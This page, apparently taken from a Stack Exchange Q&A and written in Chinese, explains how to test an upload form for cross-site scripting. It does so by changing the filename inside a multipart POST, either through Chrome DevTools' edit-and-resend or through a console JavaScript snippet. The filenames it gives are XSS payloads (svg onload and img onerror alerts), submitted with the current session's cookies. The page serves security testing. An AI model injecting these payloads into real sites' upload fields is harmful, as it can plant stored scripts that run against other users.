如何在浏览器中修改multipart/form-data格式POST请求体测试上传XSS
浏览器内修改上传文件名测试XSS的可用方案
方案1:直接通过Chrome DevTools编辑重发请求(操作最简单)
- 先在上传页选择任意正常文件名的文件,触发一次上传请求
- 打开F12 DevTools的「网络」面板,找到对应的multipart/form-data格式的POST上传请求
- 右键该请求,选择「编辑并重发」,在弹出的请求编辑器中找到请求体里的
filename参数,直接将双引号内的原文件名替换为你要测试的XSS payload(比如<svg onload=alert(1)>.jpg) - 其余参数、请求头、cookie均无需修改,点击「发送」即可完成提交,自动继承当前会话的所有状态
方案2:JS动态构造带自定义文件名的请求(兼容性最好)
如果浏览器版本不支持编辑重发功能,可直接在页面控制台执行JS代码提交:
- 先选中页面的文件上传控件,选择任意本地文件
- 在控制台执行如下代码,按需修改对应参数即可:
// 替换为实际的文件上传表单选择器 const uploadForm = document.querySelector('form[enctype="multipart/form-data"]'); // 替换为实际的文件上传字段的name属性值,通常为file、upload等 const fileFieldName = 'file'; // 替换为你要测试的XSS payload文件名 const payloadFileName = '<img src=x onerror=alert(document.domain)>.png'; // 构造新的FormData const formData = new FormData(uploadForm); const originalFile = document.querySelector('input[type="file"]').files[0]; // 生成带自定义文件名的新File对象 const customFile = new File([originalFile], payloadFileName, {type: originalFile.type}); // 替换原文件字段 formData.delete(fileFieldName); formData.append(fileFieldName, customFile, payloadFileName); // 提交请求,自动携带当前页面的所有cookie和凭证 fetch(uploadForm.action, { method: uploadForm.method || 'POST', body: formData, credentials: 'include' }).then(res => res.text()).then(result => console.log('上传完成,返回结果:', result));
两种方案均无需修改本地文件、无需安装额外扩展、无需手动处理会话参数和Cookie,所有原表单的业务参数会自动保留。
内容的提问来源于stack exchange,提问作者xsrf
相关产品推荐
相关产品推荐

